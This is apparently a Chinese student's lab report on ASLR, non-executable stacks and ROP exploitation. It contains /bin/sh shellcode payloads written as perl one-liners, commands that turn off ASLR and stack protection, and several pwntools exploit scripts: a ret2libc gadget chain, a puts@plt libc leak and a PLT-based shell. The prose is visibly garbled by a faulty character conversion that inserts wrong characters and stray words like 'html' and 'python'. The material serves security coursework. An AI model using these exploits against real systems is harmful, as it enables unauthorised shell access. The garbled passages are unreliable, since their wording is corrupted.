ASLR,全稱爲 Address Space Layout Randomization,地址空間佈局隨機化,它將進程的某些內存空間地址進行隨機化來增大入侵者預測目的地址的難度,從而下降進程被成功入侵的風險。簡而言之,就是在運行程序時經過隨機化棧地址,從而減低攻擊者猜想到關鍵代碼運行地址的可能,下降被攻擊的風險。
Linux 平臺上 ASLR 分爲 0,1,2 三級,用戶能夠經過一個內核參數 randomize_va_space 進行等級控制。它們對應的效果以下:
0:沒有隨機化。即關閉 ASLR。
1:保留的隨機化。共享庫、棧、mmap() 以及 VDSO 將被隨機化。
2:徹底的隨機化。在 1 的基礎上,經過 brk() 分配的內存空間也將被隨機化。html
用一個簡單的代碼演示一下ALSR對棧地址的影響,代碼以下:python
#include <stdio.h> int main() { int a = 1; printf("Address of a is %p, in stack\n", &a); return 0; }
編譯運行(這裏個人Linux系統默認開啓了地址隨機化);查詢和開啓地址隨機化的命令:linux
echo "2" > /proc/sys/kernel/randomize_va_space more /proc/sys/kernel/randomize_va_space
結果入下圖:git
經過使被攻擊程序的數據段地址空間不可執行,從而使得攻擊者不可能執行被植入被攻擊程序輸入緩衝區的代碼,這種技術被稱爲非執行的緩衝區技術,即堆棧不可執行。實際上,絕大多數合法程序都是設置堆棧數據段不可執行,由於幾乎全部合法程序都不會在堆棧中存放代碼,這樣既保證了安全性,又兼顧了程序使用。(演示放在實踐內容中)github
而ROP攻擊則是利用以ret結尾的程序片斷 ,操做這些棧相關寄存器,控制程的流程,執行相應的gadget,實施攻擊者預設目標 。shell
與以往攻擊技術不一樣的是,ROP惡意代碼不包含任何指令,將本身的惡意代碼隱藏在正常代碼中。於是,它能夠繞過W⊕X的防護技術。編程
本次試驗因爲須要用到[ROPgadget](https://github.com/JonathanSalwan/ROPgadget/tree/master)
,因此須要提早安裝pip
,capstone
和pwntools
安裝命令以下:安全
sudo apt-get update sudo apt-get install pip sudo pip install capstone pip install ropgadget ROPgadget pip install pwntools
安裝完成後需重啓虛擬機。dom
過程簡述:函數
cp pwn1 5313 execstack -s 5313 //設置堆棧可執行 echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
構造一個字符串做爲測試輸入,尋找進程號,gdb調試找到覆蓋地址,構造playload,攻擊成功:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode (cat input_shellcode;cat) | ./5313 ps -ef | grep 5313 perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode (cat input_shellcode;cat) | ./5313
execstack -c 文件名
):
能夠看出堆棧不可執行對於溢出攻擊有必定的防範效果。
由上文可看出簡單的在本來代碼中利用堆棧溢出實施攻擊的方法已經不可用了,因此咱們利用ROP技術實施攻擊。(基礎知識裏已經簡紹了)這裏用量組圖簡單解釋一下:
攻擊用的緩衝區 | 指向的內容 | 說明 |
---|---|---|
ptr3內存地址3(高地址) | system | |
ptr2內存地址2 | /bin/sh | |
ptr1內存地址1(低地址) | pop %rdi;retq | 覆蓋堆棧上的返回地址 |
填充內容 | 這部份內容主要是長度要合適,保證ptr1能覆蓋到返回地址 |
gadget_addr
指向的是程序中能夠利用的小片斷代碼
bin_sh_addr
指向的是字符串參數:'/bin/sh'
system_addr
則指向system函數
1.程序運行到gadget_addr
時(esp/rsp
指向gadget_addr
),接下來會跳轉到小片斷裏執行命令,同時``esp/rsp+8(
esp/rsp指向bin_sh_addr) 2.而後執行
pop rdi/edi,將
bin_sh_addr彈入
edi/rdi寄存器中,同時
esp/rsp + 8(
esp/rsp指向
system_addr) 3.執行
return指令,由於這時
esp/rsp是指向
system_addr的,這時就會調用
system函數,而參數是經過
edi/rdi傳遞的,也就是會將
/bin/sh傳入,從而實現調用
system('/bin/sh')```
execstack -c 5313
輸入gdb ./5313
以後,開始調試:
由第二步獲得的system和/bin/sh的位置,編寫payload並注入
#include <stdio.h> #include <string.h> void vul(char *msg) { char buffer[64]; memcpy(buffer,msg,128); return; } int main() { puts("So plz give me your shellcode:"); char buffer[256]; memset(buffer,0,256); read(0,buffer,256); vul(buffer); return 0; }
使用命令gcc -g -ggdb -fno-stack-protector -no-pie a.c -o a
產生可執行文件。這裏解釋一下:-fno-stack-protector
在gcc編譯中表示棧溢出檢測。
libc
文件及地址:ldd a
libc
版本爲:libc.so.6
libc_base = 0x00007f07ecbf2000
libc.so.6
拷貝到a同級目錄:cp /lib/x86_64-linux-gnu/libc.so.6 你的目錄ROPgadget --binary a --only "pop|ret"|grep rdi
from pwn import * p = process('./a') p.recvuntil("shellcode:") elf = ELF('libc.so.6') system_in_libc = elf.symbols['system'] #system在libc文件裏的偏移地址 #print hex(system_in_libc) bin_sh_in_libc = next(elf.search('/bin/sh')) #/'bin/sh'字符串在libc裏的偏移地址 #print hex(bin_sh_in_libc) libc_base = 0x00007f07ecbf2000 #libc加載的基址 gadget_addr = 0x000000000040123b #搜索到的gadget片斷的地址 system_addr = libc_base + system_in_libc #system在程序裏的地址 bin_sh_addr = libc_base + bin_sh_in_libc #/bin/sh在程序裏的地址 print hex(system_addr) +'----'+hex(bin_sh_addr) #佈局 buf = 'A'*72 buf += p64(gadget_addr) buf += p64(bin_sh_addr) buf += p64(system_addr) with open('poc','wb') as f : f.write(buf) p.sendline(buf) #開始溢出 p.interactive()
運行python b.py
:
可見攻擊失敗,推測多是攻擊代碼有錯漏,繼續尋找解決方案。
成功獲權,上一步未成功緣由多是地址尋找錯誤。
返回地址return_addr被覆蓋爲puts@plt地址,當運行到原返回地址位置時,會跳轉到puts中執行,同時,esp指向esp+4,這時對puts來講,它內部的ret(返回地址)執行時esp指針仍是指向esp+4的,也就是esp + 4(main)就是puts函數的返回地址,而esp+8(__libc_start_main@got.plt)則是它的參數。當調用puts時,__lic_start_main做爲參數傳入,這樣咱們就能夠得到__libc_start_main在程序中的加載地址,當puts返回時會回到main函數當中,從而實現堆漏洞的二次利用。
objdump -R pwn02
查看__lic_start_main
地址(0x0804bfd8 ):objdump -d pwn02
查找puts@plt
(0x08048868)和main
( 0x80496d1)
from pwn import * r = process('./pwn02') def overflow(data): r.recvuntil('Your choice: ') r.sendline('3') r.recvuntil('):') r.sendline('+') r.recvuntil('):') r.sendline('1 2') r.recvuntil('input your id') r.sendline(data) buf = 'A' * 44 buf += p32(0x08048868) buf += p32(0x080496d1) buf += p32(0x0804bfd8) overflow(buf) r.recvuntil('...\n') leak_message = r.recv(4) print repr(leak_message) leak_value = u32(leak_message) print 'leak_value is ' + hex(leak_value) libc_base =leak_value - 0x000198B0 system_addr = libc_base + 0x0003D7E0 sh_addr = libc_base + 0x0017c968 buf = 'A' * 44 buf += p32(system_addr) buf += p32(0xdeadbeef) buf += p32(sh_addr) overflow(buf) r.interactive()
攻擊失敗,從新嘗試。
此次參考的是:參考資料
漏洞代碼:
include <stdio.h> #include <string.h> /* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */ void shell() { system("/bin/sh"); exit(0); } int main(int argc, char* argv[]) { int i=0; char buf[256]; strcpy(buf,argv[1]); printf("%s\n",buf); return 0; }
反彙編可見,其自己就有可利用的PLT代碼(自己不因ALSR發生變化),所以可直接利用其獲權。即直接利用一個在執行前就知道地址的獲權函數。
自己的水平有限,作出來的結果並非那麼合乎要求。但經過此次實踐,我仍是收穫很多,最重要的是,我逐漸學會了如何獨自了解學習本身歷來不瞭解的的知識,這對個人幫助無疑是最大的,繼續努力。